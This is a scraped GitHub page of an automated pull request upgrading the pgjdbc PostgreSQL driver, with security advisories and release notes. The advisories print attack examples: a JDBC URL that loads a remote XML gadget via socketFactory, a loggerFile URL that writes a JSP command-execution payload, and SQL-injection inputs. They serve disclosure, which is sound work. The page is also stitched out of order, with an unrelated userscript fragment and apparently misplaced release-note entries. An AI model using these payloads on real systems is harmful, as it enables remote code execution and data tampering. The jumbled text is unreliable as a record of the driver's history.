  • chore: commitPrepared / rollback-of-prepared now return XAER_RMFAIL instead of XAER_RMERR when the underlying connection is left in a non-idle TransactionState. Transaction managers (Geronimo, Narayana, Atomikos) treat XAER_RMFAIL as retryable on a fresh XAResource; the prepared transaction is no longer abandoned. PR #​4114
  • refactor: derive getPrimaryKeys from pg_constraint.conkeyPR #​4202
Fixed
  • fix: the published GitHub release now ships the released postgresql-<version>.jar and its detached PGP signature, taken from the same signed build that is uploaded to Maven Central, instead of a leftover SNAPSHOT jar Issue #​3812PR #​3814
  • fix: simplify the Statement#cancel state machine by dropping the redundant CANCELLED state. killTimerTask now waits for the state to return to IDLE directly, which removes a spin-forever case when more than one thread observes the cancel completing PR #​1827.
  • perf: defer simple-query flushes until the driver reads the response, allowing BEGIN and the following query to share a network flush Issue #​3894PR #​4196
  • fix: reWriteBatchedInserts no longer throws IllegalArgumentException when batching a parameterless INSERT (for example INSERT INTO t VALUES (1, 2)) of 256 rows or more PR #​4207
  • fix: a comment before CALL in a CallableStatement no longer hides the native call, so OUT parameter registration works for /* comment */ call proc(?, ?) and similar. Parser.modifyJdbcCall now skips leading whitespace and SQL comments (both -- and /* */) before the call, tolerates a trailing comment after a { ... } escape, and no longer adds a spurious comma when moving an OUT parameter into a call whose arguments are only a comment Issue #​2538PR #​4209
  • fix: PreparedStatement.toString() no longer throws for a bytea value supplied as text via PGobject. Hex-format values (\x...) are validated and rendered as a bytea literal, and escape-format values are quoted and cast like any other literal Issue #​3757PR #​4201
  • fix: the driver no longer nulls the contextClassLoader of shared ForkJoinPool.commonPool() worker threads, which previously left unrelated tasks on those threads running with a null classloader Issue #​4155PR #​4156
  • fix: PgResultSet#getCharacterStream wraps String in a StringReaderPR #​4063
  • fix: PGXAConnection no longer saves and restores the underlying connection's JDBC autoCommit flag. All XA-protocol SQL (BEGIN, PREPARE TRANSACTION, COMMIT, ROLLBACK, COMMIT PREPARED, ROLLBACK PREPARED, the recover() SELECT) is sent through QUERY_SUPPRESS_BEGIN, so the caller's autoCommit value is invariant across every XAResource call. Fixes the "2nd phase commit must be issued using an idle connection" failure during recovery on managed datasources that pool connections with autoCommit=false (TomEE, WildFly, WebSphere Liberty) PR #​4114
  • fix: PGXAConnection.prepare() now mutates XA state only after PREPARE TRANSACTION succeeds. A failed PREPARE previously left the driver thinking the branch was already prepared, so the follow-up rollback(xid) tried ROLLBACK PREPARED against a non-existent gid and returned XAER_RMERR. Transaction managers (Narayana) escalated this to HeuristicMixedException. With the fix, rollback(xid) takes the active-branch path and issues a plain ROLLBACK, which the server accepts cleanly. Fixes Issue #​3153, Issue #​3123. PR #​4114
  • fix: an updatable result set over an unqualified table name is now classified using only the table visible through search_path. When two schemas held a table with the same name and the same primary or unique index name but a different set of key columns, the driver took the union of both schemas' columns, so the result set could be wrongly rejected as not updatable PR #​4214. Supersedes
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026
@renovate
renovateBot
deleted the

renovate/maven-org.postgresql-postgresql-vulnerability

branch
March 27, 2026 00:45
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
c29cb62 to
aa15a13CompareMarch 30, 2026 18:01
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Apr 28, 2026
@renovaterenovateBot
reopened this
Apr 28, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
aa15a13 to
45ddb13CompareApril 28, 2026 04:54
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
from
45ddb13 to
101b1f7CompareMay 7, 2026 00:12
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]May 7, 2026
Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


No reviews


Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default");
}
} catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY] - #62
Open
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Open
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 16, 2023•

edited

Loading

Copy link


Copy Markdown

ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
PackageChangeAgeConfidence
org.postgresql:postgresql (source)42.2.23 → 42.7.11ageconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
CVE-2022-21724 / GHSA-v7wg-cpwc-24m4
More information
Details
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Severity
  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc Arbitrary File Write Vulnerability
GHSA-673j-qm5f-xpv8
More information
Details
Overview
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
Impact
It is possible to specify an arbitrary filename in the loggerFileName connection parameter

"jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
Patches
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
Workarounds
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
Severity
Medium
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Path traversal in org.postgresql:postgresql
CVE-2022-26520 / GHSA-727h-hrw8-jg8q
More information
Details
In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.
Severity
Low
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names
CVE-2022-31197 / GHSA-r38f-c4h4-hqq2
More information
Details
Impact
What kind of vulnerability is it? Who is impacted?
The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ;, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.
User applications that do not invoke the ResultSet.refreshRow() method are not impacted.
User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.
For example:
CREATETABLErefresh_row_example (
id intPRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * "int
);
This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row, would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.
As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.
Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check that you are not using the ResultSet.refreshRow() method.
If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.
Severity
  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
TemporaryFolder on unix-like systems does not limit access to created files
CVE-2022-41946 / GHSA-562r-vg33-8x8h
More information
Details
Vulnerability
PreparedStatement.setText(int, InputStream)

and
PreparedStatemet.setBytea(int, InputStream)
will create a temporary file if the InputStream is larger than 51k
Example of vulnerable code:
Strings = "some very large string greater than 51200 bytes";
PreparedStatement.setInputStream(1, newByteArrayInputStream(s.getBytes()) );
This will create a temporary file which is readable by other users on Unix like systems, but not MacOS.
Impact

On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.
When analyzing the impact of this vulnerability, here are the important questions to ask:
Is the driver running in an environment where the OS has other untrusted users.

If yes, and you answered 'yes' to question 1, this vulnerability impacts you.

If no, this vulnerability does not impact you.

Patches

Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.
Java 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1

Java 1.7 users: this vulnerability is fixed in 42.2.27.jre7

Java 1.6 and lower users: no patch is available; you must use the workaround below.

Workarounds

If you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.
References
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Fix commit pgjdbc/pgjdbc@9008dc9

Similar Vulnerabilities

Google Guava - https://github.com/google/guava/issues/4011

Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945

JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824
Severity
  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
org.postgresql:postgresql vulnerable to SQL Injection via line comment generation
CVE-2024-1597 / GHSA-24rp-q3w6-vc56
More information
Details
Impact
SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.
There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.
Exploitation
To exploit this behavior the following conditions must be met:
  1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. -)
  2. There must be a second placeholder for a string value after the first placeholder on the same line.
  3. Both parameters must be user controlled.
The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a -- SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.
When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.
Example
PreparedStatementstmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSetrs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:
SELECT--1,'WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.
Patch
Problem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7
The patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:
SELECT-('-1'::int4), ('WHERE false --')
Workarounds
Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)
Severity
  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
CVE-2026-42198 / GHSA-98qh-xjc8-98pq
More information
Details
Summary
pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact
A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.

With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.

A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
  1. The connection uses SCRAM-SHA-256 authentication.
  2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
  3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
  • the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
  • the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
  • the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
  • the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
  • an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
  • an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches
The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
  1. Only connect to trusted PostgreSQL servers whose identity is verified.
    
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.
    
TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
  2. Do not rely on loginTimeout as a complete mitigation on unpatched versions.
    
On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
  3. Avoid SCRAM on untrusted or interceptable connection paths.
    
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
  4. Reduce blast radius operationally.
    
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
  5. On trusted servers you control, keep SCRAM iteration counts at ordinary values.
    
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pgjdbc/pgjdbc (org.postgresql:postgresql)
v42.7.11
Security
  • fix: Limit SCRAM PBKDF2 iterations accepted from the server.
    
pgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.
    
See the Security Advisory for more detail.
    
The following CVE-2026-42198 has been issued.
Added
  • feat: implement require_auth connection property, aligning with libpq behavior PR #​3895
Changed
  • chore: replace Appveyor CI with ikalnytskyi/action-setup-postgres PR #​3966
  • chore: upgrade Gradle to v9 PR #​3978
Fixed
  • fix: ensure extended protocol messages end with Sync message PR #​3728
  • fix: enable cursor-based fetching in extended protocol when transaction started via SQL command PR #​3996
  • fix: retry with SSL on IOException when sslMode=ALLOW PR #​3973
  • fix: make sure the driver honours connectTimeout when retrying the connection PR #​3968
  • fix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in PR #​3968
  • fix: catch SecurityException from setContextClassLoader on ForkJoinPool workers PR #​3962
  • fix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly PR #​3961
  • fix: release COPY lock on IOException to prevent connection hang PR #​3957
  • fix: return jsonb as PGObject instead of String PR #​3956
  • fix: align SSL key file permission check with libpq PR #​3952
  • fix: guard connection closed flag with a reentrant lock to protect against concurrent close PR #​3905
v42.7.10
Changed
  • chore: Migrate to Shadow 9 PR 3931
  • style: fix empty line before javadoc for checkstyle compliance PR #​3925
  • style: fix lambda argument indentation for checkstyle compliance PR #​3922
  • test: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs PR #​3917
Fixed
  • fix: non-standard strings failing test for version 19 PR #​3934
  • fix: small issues in ConnectionFactoryImpl PR #​3929
  • fix: process pending responses before fastpath to avoid protocol errors PR # 3913
  • doc: use.md, fix typos PR #​3911
  • doc: datasource.md, fix minor formatting issue PR #​3912
  • doc: add the new PGP signing key to the official documentation PR #​3912
Reverted
v42.7.9
Compare Source
Added
  • feat: query timeout property PR #​3705
  • feat: Add PEMKeyManager to handle PEM based certs and keys PR #​3700
Changed
  • perf: optimize PGInterval.getValue() by replacing String.format with StringBuilder
  • doc: update property quoteReturningIdentifiers default value PR #​3847
  • security: Use a static method forName to load all user supplied classes. Use the Class.forName 3 parameter method and do not initilize it unless it is a subclass of the expected class
Fixed
  • fix: incorrect pg_stat_replication.reply_time calculation PR #​3906
  • fix: close temporary lob descriptors that are used internally in PreparedStatement#setBlob
  • fix: PGXAConnection.prepare(Xid) should return XA_RDONLY if the connection is read only PR #​3897
  • fix: make all Calendar instances proleptic Gregorian PR #​3837
  • fix: Simplify concurrency guards on QueryExecutorBase#transaction and QueryExecutorBase#standardConformingStrings PR #​3897
  • fix: avoid memory leaks in Java <= 21 caused by Thread.inheritedAccessControlContext PR #​3886
  • fix: Issue #​3784 pgjdbc can't decode numeric arrays containing special numbers like NaN PR #​3838
  • fix: use ssl_is_used() to check for ssl connection PR #​3867
  • fix: the classloader is nullable PR #​3907
v42.7.8
Compare Source
Added
  • feat: Add configurable boolean-to-numeric conversion for ResultSet getters PR #​3796
Changed
  • perf: remove QUERY_ONESHOT flag when calling getMetaData PR #​3783
  • perf: use BufferedInputStream with FileInputStreamPR #​3750
  • perf: enable server-prepared statements for DatabaseMetaData
Fixed
  • fix: avoid NullPointerException when cancelling a query if cancel key is not known yet
  • fix: Change "PST" timezone in TimestampTest to "Pacific Standard Time" PR #​3774
  • fix: traverse the current dimension to get the correct pos in PgArray#calcRemainingDataLength PR #​3746
  • fix: make sure getImportedExportedKeys returns columns in consistent order
  • fix: Add "SELF_REFERENCING_COL_NAME" field to getTables' ResultSetMetaData to fix NullPointerException PR #​3660
  • fix: unable to open replication connection to servers < 12
  • fix: avoid closing statement caused by driver's internal ResultSet#close()
  • fix: return empty metadata for empty catalog names as it was before
  • fix: Incorrect class comparison in PGXmlFactoryFactory validation
v42.7.7
Security
  • security: Client Allows Fallback to Insecure Authentication Despite channelBinding=require configuration.
    
Fix channel binding required handling to reject non-SASL authentication
    
Previously, when channel binding was set to "require", the driver would silently ignore this
    
requirement for non-SASL authentication methods. This could lead to a false sense of security
    
when channel binding was explicitly requested but not actually enforced. The fix ensures that when
    
channel binding is set to "require", the driver will reject connections that use
    
non-SASL authentication methods or when SASL authentication has not completed properly.
    
See the Security Advisory for more detail. Reported by George MacKerron
    
The following CVE-2025-49146 has been issued
Added
  • test: Added ChannelBindingRequiredTest to verify proper behavior of channel binding settings
v42.7.6
Features
  • fix: Enhanced DatabaseMetadata.getIndexInfo() method, added index comment as REMARKS property PR #​3513
Performance Improvements
  • performance: Improve ResultSetMetadata.fetchFieldMetaData by using IN row values instead of UNION ALL for improved query performance (later reverted) PR #​3510
  • feat:Use a single simple query for all startup parameters, so groupStartupParameters is no longer needed PR #​3613
v42.7.5
Added
Fixed
  • regression: revert change in fc60537PR #​3476
  • fix: PgDatabaseMetaData implementation of catalog as param and return value PR #​3390
  • fix: Support default GSS credentials in the Java Postgres client PR #​3451
  • fix: return only the transactions accessible by the current_user in XAResource.recover PR #​3450
  • feat: don't force send extra_float_digits for PostgreSQL >= 12 fix Issue #​3432PR #​3446
  • fix: exclude "include columns" from the list of primary keys PR #​3434
  • perf: Enhance the meta query performance by specifying the oid. PR #​3427
  • feat: support getObject(int, byte[].class) for bytea PR #​3274
  • docs: document infinity and some minor edits PR #​3407
  • fix: Added way to check for major server version, fixed check for RULE PR #​3402
  • docs: fixed remaining paragraphs PR #​3398
  • docs: fixed paragraphs in javadoc comments PR #​3397
  • fix: Reuse buffers and reduce allocations in GSSInputStream addresses Issue #​3251PR #​3255
  • chore: Update Gradle to 8.10.2 PR #​3388
  • fix: getSchemas() PR #​3386
  • fix: Update rpm postgresql-jdbc.spec.tpl with scram-client PR #​3324
  • fix: Clearing thisRow and rowBuffer on close() of ResultSet Issue #​3383PR #​3384
  • fix: Package was renamed to maven-bundle-plugin PR #​3382
  • fix: As of version 18 the RULE privilege has been removed PR #​3378
  • fix: use buffered inputstream to create GSSInputStream PR #​3373
  • test: get rid of 8.4, 9.0 pg versions and use >= jdk version 17 PR #​3372
  • Changed docker-compose version and renamed script file in instructions to match the real file name PR #​3363
  • test:Do not assume "test" database in DatabaseMetaDataTransactionIsolationTest PR #​3364
  • try to categorize dependencies PR #​3362
v42.7.4
Added
  • chore: SCRAM dependency to 3.1 and support channel binding PR #​3188
  • chore: Add PostgreSQL 15, 16, and 17beta1 to CI tests PR #​3299
  • test: Update to 17beta3 PR #​3308
  • chore: Implement direct SSL ALPN connections PR #​3252
  • translation: Add Korean translation file PR #​3276
Fixed
  • fix: PgInterval ignores case for represented interval string PR #​3344
  • perf: Avoid extra copies when receiving int4 and int2 in PGStream PR #​3295
  • fix: Add support for Infinity::numeric values in ResultSet.getObject PR #​3304
  • fix: Ensure order of results for getDouble PR #​3301
  • perf: Replace BufferedOutputStream with unsynchronized PgBufferedOutputStream, allow configuring different Java and SO_SNDBUF buffer sizes PR #​3248
  • fix: Fix SSL tests PR #​3260
  • fix: Support bytea in preferQueryMode=simple PR #​3243
  • fix: Fix #​3234 - Return -1 as update count for stored procedure calls PR #​3235
  • fix: Fix #​3224 - conversion for TIME '24:00' to LocalTime breaks in binary-mode PR #​3225
  • perf: Speed up getDate by parsing bytes instead of String PR #​3141
  • fix: support PreparedStatement.setBlob(1, Blob) and PreparedStatement.setClob(1, Clob) for lobs that return -1 for length PR #​3136
  • fix: Validates resultset Params in PGStatement constructor. uses assertThro… PR #​3171
  • fix: Validates resultset parameters PR #​3167
  • docs: Replace greater to with greater than PR #​3315
  • docs: Clarify binaryTransfer and prepareThreshold PR #​3338
  • docs: use.md, typo PR #​3314
  • test: Use docker v2 which changes docker-compose to docker compose #​3339
  • refactor: Merge PgPreparedStatement#setBinaryStream int and long methods PR #​3165
  • test: Test both binaryMode=true,false when creating connections in DatabaseMetaDataTest PR #​3231
  • docs: Fixed typos in all source code and documentations PR #​3242
  • chore: Remove self-hosted runner PR #​3227
  • docs: Add cancelSignalTimeout in README PR #​3190
  • docs: Document READ_ONLY_MODE in README PR #​3175
  • test: Test for +/- infinity double values PR #​3294
  • test: Switch localhost and auth-test around for test-gss PR #​3343
  • fix: remove preDescribe from internalExecuteBatch PR #​2883
  • deps: Update dependency om.ongres.scram:scram-client to 3.2
Deprecated
  • test: Deprecate all PostgreSQL versions older than 9.1 PR #​3335
v42.7.3
Changed
Fixed
  • fix: boolean types not handled in SimpleQuery mode PR #​3146
    • make sure we handle boolean types in simple query mode
    • support uuid as well
    • handle all well known types in text mode and change else if to switch
  • fix: released new versions of 42.2.29, 42.3.10, 42.4.5, 42.5.6, 42.6.2 to deal with NoSuchMethodError on ByteBuffer#position when running on Java 8
v42.7.2
Security
  • security: SQL Injection via line comment generation, it is possible in SimpleQuery mode to generate a line comment by having a placeholder for a numeric with a -
    
such as -?. There must be second placeholder for a string immediately after. Setting the parameter to a -ve value creates a line comment.
    
This has been fixed in this version fixes CVE-2024-1597. Reported by Paul Gerste. See the security advisory for more details. This has been fixed in versions 42.7.2, 42.6.1 42.5.5, 42.4.4, 42.3.9, 42.2.28.jre7. See the security advisory for work arounds.
Changed
  • fix: Use simple query for isValid. Using Extended query sends two messages checkConnectionQuery was never ever set or used, removed PR #​3101
  • perf: Avoid autoboxing bind indexes by @​bokken in PR #​1244
  • refactor: Document that encodePassword will zero out the password array, and remove driver's default encodePassword by @​vlsi in PR #​3084
Added
  • feat: Add PasswordUtil for encrypting passwords client side PR #​3082
v42.7.1
Added
  • feat: invalidate the prepared-statement cache when the server reports a search_path change via GUC_REPORT (PostgreSQL 18+), so cached plans are no longer used against the wrong schema PR #​4259
  • feat: reWriteBatchedInserts now merges up to 32768 rows into one multi-values INSERT (bounded by the 65535 bind-parameter limit on the extended protocol) instead of capping at 128, which speeds up batches of few-column rows. The new reWriteBatchedInsertsSize connection property lowers that cap when set; the default of 0 uses that maximum. PR #​4207
  • feat: invalidate the prepared-statement cache after CREATE/DROP/ALTER so callers no longer trip on "cached plan must not change result type" without opting into autosave=ALWAYS. Controlled by the new flushCacheOnDdl connection property (default true); set to false for the prior behaviour. PR #​4067
  • feat: add connectExecutor connection property to customize the Executor used to run the worker task that performs the connection attempt when loginTimeout is in effect. The value is the fully qualified name of a class implementing java.util.concurrent.Executor. With a null value, the default, the driver retains the prior behavior of running the connection attempt on a daemon thread named "PostgreSQL JDBC driver connection thread". The executor must run the task on a thread other than the caller's. Running the attempt on a named thread lets applications that monitor driver-created threads identify it. PR #​4165
  • feat: add classLoaderStrategy connection property to control which classloaders the driver searches when loading a class named by a connection property, for example socketFactory. The default driver-first now falls back to the thread context classloader when the driver's classloader cannot resolve the class, which fixes class loading in non-flat class paths such as Quarkus and OSGi. Set driver to keep the previous driver-classloader-only behaviour, or context-first to prefer the thread context classloader Issue #​2112PR #​4167
  • feat: add OID constants for geometric arrays, RECORD, and refcursorPR #​4220
  • feat: LargeObjectBlobInputStream now skips by seeking instead of reading, and the driver exposes the server version so it can select the 64-bit large-object API where available PR #​4204
Changed
